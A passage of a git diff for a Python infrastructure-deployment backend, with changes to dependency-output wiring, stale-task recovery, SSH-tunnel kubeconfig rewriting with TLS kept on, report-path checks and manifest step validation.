/30, so every DPU past the pool's first /30 was probed + # at an address nothing listens on (#118). Taken from the same RenderContext + # that produced the bf.conf, so the reported and baked addresses cannot drift. + variables["dpu_tmfifo_ip"] = ctx.host.tmfifo_dpu_ip.split("/")[0] + # Also expose the structured VLAN list so downstream modules (notably # bare-metal/setup-dpu-networking on the dual_dpu_obmc path) can # render the symmetric host-side netplan: matching VLAN sub-interfaces @@ -550,97 +580,7 @@ def build_variables( variables[_tk] = _tv # Layer 3: Dependency output wiring (from module.json metadata — explicit wiring) - if lib_module and lib_module.inputs_metadata: - required_inputs = lib_module.inputs_metadata.get("required", []) - optional_inputs = lib_module.inputs_metadata.get("optional", []) - required_input_names = {inp.get("name") for inp in required_inputs} - - for inp in required_inputs + optional_inputs: - if inp.get("source") == "module": - from_module_path = inp.get("from_module") - from_output = inp.get("from_output") - input_name = inp.get("name") - is_required = input_name in required_input_names - - # A source="module" input may omit from_module when a default or - # transform supplies the value (e.g. bnk-flo's flo_namespace / - # far_secret_name / cluster_issuer_name). With no path there is - # nothing to wire — skip so later layers / the module's own - # .get(name, default) apply it. (find_dependency_by_path would - # otherwise raise on a None path.) - if not from_module_path: - continue - - dep_module = find_dependency_by_path( - db, - module.project_id, - from_module_path, - stack_instance_id=getattr(module, "stack_instance_id", None), - ) - if dep_module and dep_module.outputs: - value = dep_module.outputs.get(from_output) - if value is not None: - variables[input_name] = value - logger.debug(f"Wired {input_name} = {value} from {from_module_path}.{from_output}") - else: - # BUG-009: Fail if required dependency output is missing - # But during destroy, skip — deps may already be torn down - if is_required and operation != "destroy": - raise ValueError( - f"Required dependency output not available: " - f"{from_module_path}.{from_output} -> {input_name}" - ) - logger.warning( - f"{'[destroy-lenient] ' if operation == 'destroy' else ''}" - f"Optional output {from_output} not found in {from_module_path}" - ) - else: - # Exact-path lookup missed or dep has no outputs yet. - # Fallback: search among actual declared dependencies for one whose - # outputs contain from_output. Only runs when the path didn't match - # any module at all — if the dep exists but has no outputs yet, we - # let the error path below raise instead of wiring from an unrelated module. - fallback_value = ( - _resolve_from_dependency_outputs(db, module, from_output) - if dep_module is None else None - ) - if fallback_value is not None: - if input_name not in variables: - variables[input_name] = fallback_value - logger.info( - f"Layer-3 fallback: wired {input_name} = {fallback_value!r} " - f"from actual dependency output '{from_output}' " - f"(hint '{from_module_path}' did not match)" - ) - else: - logger.info( - f"Layer-3 fallback skipped for {input_name}: already resolved earlier" - ) - else: - # BUG-009: Fail if required dependency module is missing - # But during destroy, skip — deps may already be torn down. - # Also skip if the variable was already resolved by an earlier - # layer (e.g. Layer 2.5 ProjectContext) — the dependency module - # may not exist in this deployment context (e.g. infra/aws/vpc - # doesn't exist in bare-metal, but DPU settings provide the value). - # Also skip if the input has a default in its metadata — use it. - inp_default = inp.get("default") - if input_name not in variables and inp_default is not None: - variables[input_name] = inp_default - logger.info( - f"Dependency module {from_module_path} not found; " - f"using metadata default for {input_name}: {inp_default!r}" - ) - elif is_required and operation != "destroy" and input_name not in variables: - raise ValueError( - f"Required dependency not available: " - f"{from_module_path} (needed for input '{input_name}')" - ) - else: - logger.warning( - f"{'[destroy-lenient] ' if operation == 'destroy' else ''}" - f"Optional dependency {from_module_path} not found or has no outputs" - ) + apply_dependency_output_wiring(db, module, lib_module, variables, operation) # Layer 4: Auto-wire common variables auto_wire_common_variables(db, module, variables) @@ -803,6 +743,7 @@ def build_variables_for_ssh( "default_route_iface": host.default_route_iface, "vf_count": host.vf_count, "bond_mode": host.bond_mode, + "net_rshim_mac_base": host.net_rshim_mac_base, # host-level tmfifo MAC base override (ADR-478) } for key, value in host_fields.items(): if value is not None and key not in variables: @@ -831,19 +772,15 @@ def build_variables_for_ssh( except Exception as exc: logger.warning("Failed to inject DPU credentials into variables: %s", exc) - # Render bf.conf from the full Jinja2 template if: - # 1. A Dpu record exists for this host (matched by project + IP) - # 2. Project has DPU settings with a bf.conf template configured - # The rendered content is injected as a variable so flash-dpu can write - # it to the host instead of falling back to the minimal bf.cfg. - # Gracefully falls back to nothing if any piece is missing — the Dpu - # record is created by the DPU tab, not the blueprint flow, so it may - # not exist yet. + # Render bf.conf from the full Jinja2 template when the DPU tab has a + # template configured for this project. _inject_rendered_bf_conf returns + # silently only when no template was ever configured (intentional fallback). + # For any other missing prerequisite (Dpu row, password, …) it raises a + # RuntimeError with an actionable diagnostic, which propagates so the + # deployment step fails loudly rather than proceeding with a default-MAC + # minimal bf.cfg. if "rendered_bf_conf" not in variables: - try: - _inject_rendered_bf_conf(db, host, module, variables) - except Exception as exc: - logger.warning("bf.conf rendering failed, falling back to minimal bf.cfg: %s", exc) + _inject_rendered_bf_conf(db, host, module, variables) return variables @@ -907,6 +844,127 @@ def can_execute(db: Session, module) -> tuple[bool, list[str]]: # Dependency resolution # --------------------------------------------------------------------------- +def apply_dependency_output_wiring( + db: Session, + module, + lib_module, + variables: dict[str, Any], + operation: str = "apply", +) -> dict[str, Any]: + """Resolve inputs declared ``source: "module"`` from a dependency's outputs. + + A pack may declare an input as coming from another module rather than from the + operator:: + + {"name": "registry_ca_b64", "source": "module", + "from_module": "harbor", "from_output": "registry_ca_b64"} + + Extracted from ``build_variables`` so every engine can apply the same rules. + It used to live inline there, which meant only the engines routed through + ``build_variables`` — opentofu, ansible, kubernetes, cli — honoured the + declaration. The container engine assembles its own inputs and so silently + ignored it: the metadata was stored, never resolved, and the step ran with the + input unset. That surfaces as a failure from inside the container image ("set + registry.generic_host"), naming the input rather than the wiring that should + have supplied it. + + Mutates and returns ``variables``. + """ + if lib_module and lib_module.inputs_metadata: + required_inputs = lib_module.inputs_metadata.get("required", []) + optional_inputs = lib_module.inputs_metadata.get("optional", []) + required_input_names = {inp.get("name") for inp in required_inputs} + + for inp in required_inputs + optional_inputs: + if inp.get("source") == "module": + from_module_path = inp.get("from_module") + from_output = inp.get("from_output") + input_name = inp.get("name") + is_required = input_name in required_input_names + + # A source="module" input may omit from_module when a default or + # transform supplies the value (e.g. bnk-flo's flo_namespace / + # far_secret_name / cluster_issuer_name). With no path there is + # nothing to wire — skip so later layers / the module's own + # .get(name, default) apply it. (find_dependency_by_path would + # otherwise raise on a None path.) + if not from_module_path: + continue + + dep_module = find_dependency_by_path( + db, + module.project_id, + from_module_path, + stack_instance_id=getattr(module, "stack_instance_id", None), + ) + if dep_module and dep_module.outputs: + value = dep_module.outputs.get(from_output) + if value is not None: + variables[input_name] = value + logger.debug(f"Wired {input_name} = {value} from {from_module_path}.{from_output}") + else: + # BUG-009: Fail if required dependency output is missing + # But during destroy, skip — deps may already be torn down + if is_required and operation != "destroy": + raise ValueError( + f"Required dependency output not available: " + f"{from_module_path}.{from_output} -> {input_name}" + ) + logger.warning( + f"{'[destroy-lenient] ' if operation == 'destroy' else ''}" + f"Optional output {from_output} not found in {from_module_path}" + ) + else: + # Exact-path lookup missed or dep has no outputs yet. + # Fallback: search among actual declared dependencies for one whose + # outputs contain from_output. Only runs when the path didn't match + # any module at all — if the dep exists but has no outputs yet, we + # let the error path below raise instead of wiring from an unrelated module. + fallback_value = ( + _resolve_from_dependency_outputs(db, module, from_output) + if dep_module is None else None + ) + if fallback_value is not None: + if input_name not in variables: + variables[input_name] = fallback_value + logger.info( + f"Layer-3 fallback: wired {input_name} = {fallback_value!r} " + f"from actual dependency output '{from_output}' " + f"(hint '{from_module_path}' did not match)" + ) + else: + logger.info( + f"Layer-3 fallback skipped for {input_name}: already resolved earlier" + ) + else: + # BUG-009: Fail if required dependency module is missing + # But during destroy, skip — deps may already be torn down. + # Also skip if the variable was already resolved by an earlier + # layer (e.g. Layer 2.5 ProjectContext) — the dependency module + # may not exist in this deployment context (e.g. infra/aws/vpc + # doesn't exist in bare-metal, but DPU settings provide the value). + # Also skip if the input has a default in its metadata — use it. + inp_default = inp.get("default") + if input_name not in variables and inp_default is not None: + variables[input_name] = inp_default + logger.info( + f"Dependency module {from_module_path} not found; " + f"using metadata default for {input_name}: {inp_default!r}" + ) + elif is_required and operation != "destroy" and input_name not in variables: + raise ValueError( + f"Required dependency not available: " + f"{from_module_path} (needed for input '{input_name}')" + ) + else: + logger.warning( + f"{'[destroy-lenient] ' if operation == 'destroy' else ''}" + f"Optional dependency {from_module_path} not found or has no outputs" + ) + + return variables + + def find_dependency_by_path( db: Session, project_id: int, diff --git a/backend/services/execution_janitor.py b/backend/services/execution_janitor.py index 20aa733e..dab240ed 100644 --- a/backend/services/execution_janitor.py +++ b/backend/services/execution_janitor.py @@ -29,10 +29,20 @@ from models import StackInstance from models import Task as TaskModel -from models.enums import StackInstanceStatus, TaskStatus +from models.enums import ModuleStatus, StackInstanceStatus, TaskStatus logger = logging.getLogger(__name__) +# Transient module states owned by a deploy task, and the terminal state each +# should land in when the worker running it dies. DESTROYING is deliberately +# absent: the destroy path re-drives the chain instead of a plain reset, because +# the next module in the reverse DAG depends on that transition (see below). +_TRANSIENT_TO_FAILED: dict[str, str] = { + ModuleStatus.INITIALIZING.value: ModuleStatus.INIT_FAILED.value, + ModuleStatus.PLANNING.value: ModuleStatus.PLAN_FAILED.value, + ModuleStatus.APPLYING.value: ModuleStatus.APPLY_FAILED.value, +} + NON_TERMINAL_TASK_STATUSES = ( TaskStatus.QUEUED.value, TaskStatus.PENDING.value, @@ -99,6 +109,9 @@ def reset_stale_tasks( # trigger after, so a single module with several stale destroy tasks (one per # retry) is re-driven once, not per row. destroy_modules_to_redrive: dict[int, object] = {} + # Non-destroy modules left in a transient state by a dead worker. Collected + # the same way, so one module with several stale tasks is reset once. + deploy_modules_to_reset: dict[int, object] = {} for row in rows: if row.celery_task_id and row.celery_task_id in live_task_ids: continue @@ -107,10 +120,35 @@ def reset_stale_tasks( row.completed_at = completed_at reset_ids.append(row.id) - # Only destroy tasks need the module/chain recovery below; deploy tasks - # keep their existing reset behaviour (Task row flipped, nothing else). + # Destroy tasks additionally re-drive the destroy chain (below). Deploy + # tasks used to stop at "Task row flipped, nothing else" -- which is what + # left modules pinned in applying/planning/initializing with no error and + # no Retry button, recoverable only by a manual UPDATE (#6). if row.task_type == "destroy" and row.module is not None: destroy_modules_to_redrive[row.module.id] = row.module + elif row.module is not None: + deploy_modules_to_reset[row.module.id] = row.module + + if deploy_modules_to_reset: + # A worker that dies between the route setting `applying` and the task's + # error handler leaves the module transient forever: the UI shows a + # perpetually-applying module with no error, and Retry only appears for + # *_failed states. Drive it to the matching failed state so the module is + # actionable again -- the same recovery the destroy path already gets. + for module in deploy_modules_to_reset.values(): + previous = module.status + failed_status = _TRANSIENT_TO_FAILED.get(previous) + if failed_status is None: + continue # already terminal, or a state this janitor does not own + module.status = failed_status + module.deployment_error = ( + module.deployment_error + or "Worker no longer alive — reset by stale-execution janitor" + ) + logger.warning( + "Janitor reset stuck module %s from %s to %s (worker died)", + module.id, previous, failed_status, + ) if destroy_modules_to_redrive: # Lazy import: _tofu_helpers pulls in services.* which would create an @@ -133,6 +171,10 @@ def reset_stale_tasks( # own work) sees a consistent state — matches the steady-state # per-iteration commit in _trigger_next_destroy_module. db.commit() + # No task_id on purpose: the janitor re-drives after a WORKER DEATH, + # so there is no executing task — "the module's newest destroy Task" + # is exactly the interrupted run we are resuming. Every other caller + # passes its own task id, because scope belongs to the run. _trigger_next_destroy_module(module, db) return reset_ids diff --git a/backend/services/imported_blueprint_service.py b/backend/services/imported_blueprint_service.py index b5fb8474..80789f05 100644 --- a/backend/services/imported_blueprint_service.py +++ b/backend/services/imported_blueprint_service.py @@ -21,6 +21,7 @@ from schemas.projects import ProjectCreate from services.blueprint_catalog_common import _resolve_category from services.execution.k8s_catalog_payload import _render_template_obj +from services.module_resolution import warn_on_cross_source_ambiguity from services.module_version_query import available_module_versions from services.project_module_service import ProjectModuleService from services.project_service import ProjectService @@ -70,13 +71,20 @@ def _resolve_library_module( ModuleLibrary.path == module_ref, ModuleLibrary.is_active ) if pinned_version: - exact = ( + # D-033 identity is (module_source_id, path, version), but a blueprint + # pin carries no source -- so if two sources catalog the same + # path+version (a fork registered alongside the original), highest id + # silently wins and the deploy binds the fork's manifest. Nothing the + # blueprint author can see or control. Cannot be auto-resolved without + # source-aware pins, so make it loud (#90 F3). + candidates = ( query.filter(ModuleLibrary.version == pinned_version) .order_by(ModuleLibrary.is_latest.desc(), ModuleLibrary.id.desc()) - .first() + .all() ) - if exact is not None: - return exact + if candidates: + warn_on_cross_source_ambiguity(candidates, module_ref) + return candidates[0] # Transitional fallback applies ONLY when the path has no hashed # (version-identified) rows at all — a purely pre-D-033 path. Once # ANY hashed version exists, a missed pin is a hard miss; silently diff --git a/backend/services/k8s_drift_service.py b/backend/services/k8s_drift_service.py index 723aadb9..c07aeb4d 100644 --- a/backend/services/k8s_drift_service.py +++ b/backend/services/k8s_drift_service.py @@ -221,6 +221,76 @@ def check_k8s_module_drift( return check_manifest_drift(kubeconfig_path, module_path, variables, lib_module=lib_module) +def check_usecase_drift(db, cluster, version, param_values: dict[str, Any]) -> dict[str, Any]: + """ + Check drift between a use-case artifact version's rendered desired-state + and the cluster's actual F5SPKVlan CRs (D-034 Phase 0 tracer). + + Renders `version` with `param_values` -> desired CRs, fetches actual CRs + (reusing `config_export_service._fetch_resources`), and diffs each pair + via the existing `_normalize_for_comparison` + `_diff_dicts` engine. This + closes the desired-state stub for the use-case-artifact slice — it no + longer returns "not available". + + Note: In Phase 0, `param_values` come from the caller (drift endpoint). + Phase 4 will read the recorded `UseCaseApplication` binding to reproduce + the exact values that were applied, for full drift reproducibility. + """ + from kubernetes import client as k8s_client + + from services.config_export_service import _fetch_resources + from services.kubernetes_service import KubernetesService + from services.usecase_artifact_service import _VLAN_RESOURCE_TYPE, render + + start = time.monotonic() + + desired = render(version, param_values) + + k8s_svc = KubernetesService(db) + api_client = k8s_svc.load_kubeconfig(cluster) + custom_api = k8s_client.CustomObjectsApi(api_client) + actual = _fetch_resources(custom_api, _VLAN_RESOURCE_TYPE) + + def _key(resource: dict[str, Any]) -> str: + meta = resource.get("metadata", {}) + return f"{resource.get('kind')}/{meta.get('namespace', '')}/{meta.get('name', '')}" + + actual_by_key = {_key(r): r for r in actual} + + resource_changes = {"add": 0, "change": 0, "destroy": 0, "ok": 0} + changed_resources: list[dict[str, Any]] = [] + + for desired_resource in desired: + key = _key(desired_resource) + actual_resource = actual_by_key.get(key) + if actual_resource is None: + resource_changes["add"] += 1 + changed_resources.append({"address": key, "action": "add", "diffs": []}) + continue + + norm_desired, norm_actual = _normalize_for_comparison(desired_resource, actual_resource) + diffs = _diff_dicts(norm_desired, norm_actual) + if diffs: + resource_changes["change"] += 1 + changed_resources.append({"address": key, "action": "change", "diffs": diffs}) + else: + resource_changes["ok"] += 1 + + drift_detected = resource_changes["add"] > 0 or resource_changes["change"] > 0 or resource_changes["destroy"] > 0 + total = sum(resource_changes.values()) + + return { + "drift_detected": drift_detected, + "resource_changes": resource_changes, + "changed_resources": changed_resources, + "summary": ( + f"{resource_changes['change']} changed, {resource_changes['add']} to add, " + f"{resource_changes['destroy']} to destroy, {resource_changes['ok']} unchanged (of {total})" + ), + "check_duration_ms": int((time.monotonic() - start) * 1000), + } + + def _get_or_create_loop() -> asyncio.AbstractEventLoop: """Get or create an event loop for the current thread.""" try: diff --git a/backend/services/kubeconfig_normalizer.py b/backend/services/kubeconfig_normalizer.py index d594bcc4..3752e9d4 100644 --- a/backend/services/kubeconfig_normalizer.py +++ b/backend/services/kubeconfig_normalizer.py @@ -206,3 +206,65 @@ def _normalize_users(kubeconfig: dict[str, Any], source: NormalizationSource) -> field="exec.command", user_message=_exec_user_message(command, source), ) + + +# --------------------------------------------------------------------------- +# SSH-tunnel rewrite (#7) +# --------------------------------------------------------------------------- + +def rewrite_kubeconfig_for_tunnel(yaml_text: str, tunnel_port: int) -> str: + """Point every cluster in a kubeconfig at a local SSH tunnel -- with TLS on. + + The tunnel listens on 127.0.0.1:, but the API server's certificate is + valid for its real hostname/IPs, not for 127.0.0.1. Both tunnel paths (the + OpenTofu provider via config_writer, the in-process clients via + cluster_utils) used to solve that by setting insecure-skip-tls-verify and + stripping the CA -- which does not fix the hostname mismatch so much as + disable verification entirely, leaving a tunnelled plan/apply with no + protection against a MITM on the tunnel path. + + kubeconfig has the right tool for this: `tls-server-name` sets the SNI / + verification hostname independently of the address dialled. So we keep the + original CA, keep verification ON, and tell the client to verify against + the ORIGINAL hostname while dialling the tunnel. This is what the fix + proposed in #7 did for the Terraform provider (`tls_server_name`), applied + at the kubeconfig layer that both consumers now share. + + Fail-safe rule: verification can only be RESTORED, never invented. If the + original entry carried no CA (or was itself insecure-skip-tls-verify), or + the server URL has no usable hostname, we fall back to the previous + behaviour so an existing working cluster never stops connecting. + + Uses 127.0.0.1 explicitly, not "localhost": the latter resolves to both ::1 + and 127.0.0.1, the tunnel listener is IPv4-only, and httpx/kr8s try ::1 + first and give up rather than falling back. + """ + from urllib.parse import urlparse + + doc = yaml.safe_load(yaml_text) or {} + for entry in doc.get("clusters", []) or []: + cluster = entry.get("cluster") if isinstance(entry, dict) else None + if not isinstance(cluster, dict): + continue + + original_server = str(cluster.get("server") or "") + original_host = urlparse(original_server).hostname if original_server else None + has_ca = bool(cluster.get("certificate-authority-data") or cluster.get("certificate-authority")) + was_insecure = bool(cluster.get("insecure-skip-tls-verify")) + + cluster["server"] = f"https://127.0.0.1:{tunnel_port}" + + if has_ca and original_host and not was_insecure: + # Restore verification: verify against the real hostname while + # dialling the tunnel. CA stays; skip flag must NOT be set. + cluster["tls-server-name"] = original_host + cluster.pop("insecure-skip-tls-verify", None) + else: + # Nothing to verify against -- keep the legacy behaviour so a + # cluster that worked yesterday still works today. + cluster["insecure-skip-tls-verify"] = True + cluster.pop("certificate-authority-data", None) + cluster.pop("certificate-authority", None) + cluster.pop("tls-server-name", None) + + return yaml.dump(doc, default_flow_style=False) diff --git a/backend/services/llm_observability_service.py b/backend/services/llm_observability_service.py index 1d9b21e5..dc8eea5b 100644 --- a/backend/services/llm_observability_service.py +++ b/backend/services/llm_observability_service.py @@ -564,29 +564,31 @@ def logs( def _parse_log_lines(data: dict[str, Any] | None) -> tuple[list[dict[str, Any]], int | None]: """Flatten Loki streams into request rows, newest first. Returns (rows, oldest_ts_ns) — the cursor for 'load older'.""" - entries: list[tuple[int, str]] = [] + entries: list[tuple[int, str, dict]] = [] if isinstance(data, dict): for stream in (data.get("data") or {}).get("result") or []: + stream_labels = stream.get("stream", {}) for pair in stream.get("values") or []: try: - entries.append((int(pair[0]), pair[1])) + entries.append((int(pair[0]), pair[1], stream_labels)) except (IndexError, TypeError, ValueError): continue entries.sort(key=lambda e: e[0], reverse=True) # newest first rows: list[dict[str, Any]] = [] - for ts_ns, line in entries: + for ts_ns, line, stream_labels in entries: try: rec = json.loads(line) except (TypeError, ValueError): continue - status = str(rec.get("status", "")) + model = str(rec.get("model") or stream_labels.get("model") or "") + status = str(rec.get("status") or stream_labels.get("status") or "") rows.append( { "ts": _iso(ts_ns / 1_000_000_000), "type": "success" if status.startswith("2") else "error", "message": str(rec.get("userq", "")), - "model": str(rec.get("model", "")), + "model": model, "latency_ms": float(rec.get("latency_ms", 0) or 0), "prompt_tk": int(rec.get("prompt_tk", 0) or 0), "comp_tk": int(rec.get("comp_tk", 0) or 0), diff --git a/backend/services/module_lock.py b/backend/services/module_lock.py index 951cd716..3907f330 100644 --- a/backend/services/module_lock.py +++ b/backend/services/module_lock.py @@ -159,6 +159,16 @@ def set_locked_module_fields( from_state_machine = fields.pop("_from_state_machine", False) if "status" in fields and not from_state_machine: new_status = fields.pop("status") + # Forward a reason to the audit log. Every engine's failure path writes + # the cause into deployment_error in the same call, but nothing passed + # it on -- so module_state_transitions recorded THAT a module failed + # and never WHY, and diagnosing meant dumping tasks.logs by hand + # (#101). Derive it here, once, so no call site has to remember. An + # explicit reason= kwarg still wins. Clamped to the column width + # (ModuleStateTransition.reason is String(500)); deployment_error can + # be a 2000-char log tail. + reason = fields.pop("reason", None) or fields.get("deployment_error") or "" + reason = str(reason)[:500] # Lazy import to avoid module-level cycle (module_state imports us). from services.module_state import transition_module_status transition_module_status( @@ -167,6 +177,7 @@ def set_locked_module_fields( to_status=new_status, lock=lock, task_id=lock.task_id, + reason=reason, extra_fields=fields if fields else None, ) return diff --git a/backend/services/module_metadata.py b/backend/services/module_metadata.py index 92d8e312..b704c3ed 100644 --- a/backend/services/module_metadata.py +++ b/backend/services/module_metadata.py @@ -398,6 +398,27 @@ def invalidate_cache(self, module_path: str | None = None): self._cache.clear() +def canonical_step_sets(manifest: dict) -> dict: + """The lifecycle step-sets that will ACTUALLY execute, from either location. + + A manifest may carry lifecycle steps at top-level ``steps`` or at + ``execution.steps``. The engine preferred the latter and no validator read + it, so a manifest could show benign argv to review at ``steps`` while + ``execution.steps`` ran a shell — bypassing the denylist, the shell-token + check, the argv-strings check and the secret_files collision check, all at + once, in a step pod holding cloud credentials. + + One resolver, imported by both the validator and the engine, so the two can + never again disagree about which steps are real. Declaring BOTH is rejected + at validation (see _validate_artifact_steps) rather than silently resolved. + """ + execution = manifest.get("execution") + if isinstance(execution, dict) and isinstance(execution.get("steps"), dict): + return execution["steps"] + steps = manifest.get("steps") + return steps if isinstance(steps, dict) else {} + + class ModuleMetadataValidator: """ Validates module metadata against schema @@ -602,8 +623,111 @@ def _validate_artifact_secret_files(self, manifest: dict, kind: str) -> None: ) seen_paths.add(normalized) + self._reject_secret_file_step_collisions(manifest, seen_paths) + + @staticmethod + def _reject_secret_file_step_collisions(manifest: dict, secret_paths: set[str]) -> None: + """Reject a secret_files path whose parent a step also wants to CREATE. + + Materialization runs before any step and creates each secret file's + parent directories. A step that then tries to create one of those + directories fails on its first run — and it is not recoverable by retry, + because materialization recreates the directory ahead of every attempt. + With ``run_once`` on the failing step, a retry skips it entirely and + fails further downstream, pointing the operator at the wrong step + (issue #102). + + The general form is undecidable — step args are opaque argv. The common + case is not: both fields template off the same input, so the secret + path's FIRST SEGMENT equals a bare argv token of a step. That is what + this catches. It is deliberately narrow: a false positive here would + block a legitimate manifest, so anything less certain is left alone. + """ + if not secret_paths: + return + + first_segments = {p.split(os.sep)[0] for p in secret_paths if p and p != "."} + first_segments.discard("") + if not first_segments: + return + + # Both step-sets: materialize_secret_files runs on the action path too, + # so the same unrecoverable first-run failure recurs verbatim there. + step_sets: list = [] + steps_block = canonical_step_sets(manifest) + if isinstance(steps_block, dict): + step_sets.extend(steps_block.items()) + actions_block = manifest.get("actions") + if isinstance(actions_block, dict): + for action_name, definition in actions_block.items(): + if isinstance(definition, dict): + step_sets.append((f"actions.{action_name}", definition.get("steps"))) + + for phase, steps in step_sets: + if not isinstance(steps, list): + continue + for step in steps: + if not isinstance(step, dict): + continue + args = step.get("args") + if not isinstance(args, list): + continue + previous_was_flag = False + for token in args: + if not isinstance(token, str): + previous_was_flag = False + continue + bare = token.strip() + if bare.startswith("-"): + # `--name=poc` carries its value inline, so it consumes + # nothing; `--name poc` consumes the next token. + previous_was_flag = "=" not in bare + continue + # The token AFTER a flag is that flag's value, not a + # positional the step creates a directory from. Treating it + # as one rejected `["init", "--name", "poc"]` — a false + # positive the docstring below explicitly disclaims. + if previous_was_flag: + previous_was_flag = False + continue + # Only bare positionals: a path-like value is not a + # directory the step is about to create in the workspace. + if not bare or "/" in bare: + continue + if bare in first_segments: + name = step.get("name") or "" + raise InvalidMetadataSchemaError( + f"secret_files[].path starts with '{bare}', which step " + f"'{name}' (steps.{phase}) also passes as a bare argument. " + "Materializing the secret creates that directory before the " + "step runs, so the step will fail with an 'already exists' " + "error that no retry can clear. Give the secret a different " + "parent directory, or have the step adopt an existing one." + ) + def _validate_artifact_steps(self, manifest: dict, kind: str) -> None: - steps = manifest.get("steps") + # Reject a manifest that declares lifecycle steps in BOTH locations + # rather than silently resolving one. Two declared step-sets is how a + # reviewed manifest becomes a decoy for an executed one. + execution = manifest.get("execution") + has_execution_steps = ( + isinstance(execution, dict) and isinstance(execution.get("steps"), dict) + ) + if has_execution_steps and isinstance(manifest.get("steps"), dict): + raise InvalidMetadataSchemaError( + "lifecycle steps are declared in both 'steps' and " + "'execution.steps'; declare exactly one — the engine executes " + "'execution.steps' and a second set would never run while still " + "being what a reviewer reads" + ) + + # Validate whatever will actually execute, resolved the same way the + # engine resolves it. + # Preserve the declared-but-empty vs not-declared distinction: {} must + # still reach the per-phase checks so the error names steps.apply rather + # than degrading to a generic "requires a 'steps' object". + declared_steps = has_execution_steps or isinstance(manifest.get("steps"), dict) + steps = canonical_step_sets(manifest) if declared_steps else None is_procedural = kind in PROCEDURAL_ARTIFACT_KINDS lifecycle = manifest.get("lifecycle") if isinstance(manifest.get("lifecycle"), dict) else {} diff --git a/backend/services/module_reports_service.py b/backend/services/module_reports_service.py index 66101365..71c4754e 100644 --- a/backend/services/module_reports_service.py +++ b/backend/services/module_reports_service.py @@ -16,6 +16,7 @@ from __future__ import annotations import errno +import logging import os from sqlalchemy.orm import Session @@ -25,6 +26,8 @@ from services.execution.container_engine import _INPUT_TOKEN_RE from services.workspace_manager import WorkspaceManager +logger = logging.getLogger(__name__) + # Refuse to serve a single report file larger than this — a report viewer is # for human-readable deliverables, not for streaming multi-megabyte blobs. MAX_REPORT_FILE_BYTES = 2 * 1024 * 1024 # 2 MiB @@ -97,6 +100,18 @@ def _resolve_reports_dir(self, module: ProjectModule) -> str | None: rendered = _render_input_tokens(raw_dir, variables).strip() if not rendered or rendered.startswith("/") or rendered.startswith("~"): return None + # Reject `..` on the RENDERED value too, matching what the manifest-time + # validator does to the declared one. realpath containment below already + # holds, so this is defence in depth rather than a known bypass — but the + # asymmetry was the kind that survives a refactor of the other check + # (issue #470). Templating is what makes it reachable: `dir` may render + # from an input, so a value clean in the manifest need not stay clean. + if ".." in rendered.replace("\\", "/").split("/"): + logger.warning( + "Ignoring reports dir %r for module %s — rendered value contains '..'", + rendered, module.id, + ) + return None # Workspace root resolved exactly like the engine does (tasks/ # container_tasks.py::_build_engine_and_ctx) — never reimplemented here. @@ -215,7 +230,7 @@ def read_content(self, module_id: int, path: str) -> dict: if exc.errno == errno.ELOOP: raise BadRequestError("Report path is a symlink; refusing to read through it") raise NotFoundError("report", path) - with os.fdopen(fd, encoding="utf-8", errors="replace") as handle: + with os.fdopen(fd, encoding="utf-8", errors="strict") as handle: st = os.fstat(handle.fileno()) # A legitimate report file has exactly one link. nlink > 1 means the # artifact's own (already-privileged) container hardlinked another file @@ -229,7 +244,14 @@ def read_content(self, module_id: int, path: str) -> dict: f"Report file is too large to view ({size} bytes; " f"limit {MAX_REPORT_FILE_BYTES} bytes)" ) - content = handle.read() + try: + content = handle.read() + except UnicodeDecodeError as exc: + # Previously served as errors="replace" mojibake, which reads as + # a corrupt report rather than as "this is not text" (issue #470). + raise BadRequestError( + "Report file is not valid UTF-8 text and cannot be displayed" + ) from exc rel = os.path.relpath(target_real, reports_dir) return {"path": rel, "kind": _kind_for(rel), "size": size, "content": content} diff --git a/backend/services/module_resolution.py b/backend/services/module_resolution.py new file mode 100644 index 00000000..cd8a1c9a --- /dev/null +++ b/backend/services/module_resolution.py @@ -0,0 +1,138 @@ +"""Canonical resolution of a ModuleLibrary row from a bare `path`. + +D-033 defines module identity as ``(module_source_id, path, version)``, but +several surfaces resolve on ``path`` alone -- blueprint pins carry no source, so +they have nothing else to go on. When two sources catalog the same path (a fork +of bnkctl-index registered alongside the original, say), those surfaces have to +break the tie, and they did it *differently*: + + deploy (stack_deployment_service) is_latest DESC, last_synced DESC, id DESC + policy (project_secrets) is_latest ASC, id ASC -> last wins + stacks (stack_service) is_latest ASC, id ASC -> last wins + +The map builds omit ``last_synced`` entirely, so with two sources the +secret-policy check and the deploy could pick *different* modules for the same +path -- disagreeing about which schema counts. That is the silent drift D-033 +exists to kill (#90 F8). + +The ordering lives here once, in both directions, so a `first()` query and a +last-wins map build cannot diverge again. `_MAP_ORDER` is the exact reverse of +`_ROW_ORDER`: iterating in that order leaves the winner last, which is the row +`resolve_module_row` would have returned. +""" + +from __future__ import annotations + +import logging + +from sqlalchemy.orm import Session + +from models import ModuleLibrary + +logger = logging.getLogger(__name__) + + +def _row_order() -> list: + """Winner-first ordering: use with .first().""" + return [ + ModuleLibrary.is_latest.desc(), + ModuleLibrary.last_synced.desc().nullslast(), + ModuleLibrary.id.desc(), + ] + + +def _map_order() -> list: + """Winner-LAST ordering: use when building a {path: row} map by last-wins. + + Must stay the exact reverse of _row_order(); nullslast on DESC becomes + nullsfirst on ASC. + """ + return [ + ModuleLibrary.is_latest.asc(), + ModuleLibrary.last_synced.asc().nullsfirst(), + ModuleLibrary.id.asc(), + ] + + +def warn_on_cross_source_ambiguity(rows: list[ModuleLibrary], path: str) -> None: + """Log when one path is claimed by more than one module source. + + Blueprint pins carry no source, so this cannot be resolved automatically -- + but it must not stay silent either. Which source wins is decided by sync + recency and row id, neither of which the blueprint author controls or can + see, so an operator needs to be told the binding was a coin toss they did + not know they were flipping. + """ + source_ids = {r.module_source_id for r in rows if r.module_source_id is not None} + if len(source_ids) > 1: + _log_cross_source_ambiguity(path, source_ids) + + +def _log_cross_source_ambiguity(path: str, source_ids) -> None: + logger.warning( + "Cross-source module ambiguity for path %r: matched by %d module sources " + "(ids %s). Blueprint pins carry no source, so the binding is decided by " + "is_latest/last_synced/id. Deactivate the duplicate source, or make the " + "paths distinct, to make this deterministic.", + path, + len(set(source_ids)), + sorted(set(source_ids)), + ) + + +def resolve_module_row( + db: Session, module_path: str, *, warn_ambiguous: bool = True +) -> ModuleLibrary | None: + """Resolve one active ModuleLibrary row for a bare path, canonically.""" + query = db.query(ModuleLibrary).filter( + ModuleLibrary.path == module_path, + ModuleLibrary.is_active, + ) + row = query.order_by(*_row_order()).first() + if row is None: + return None + if warn_ambiguous: + # 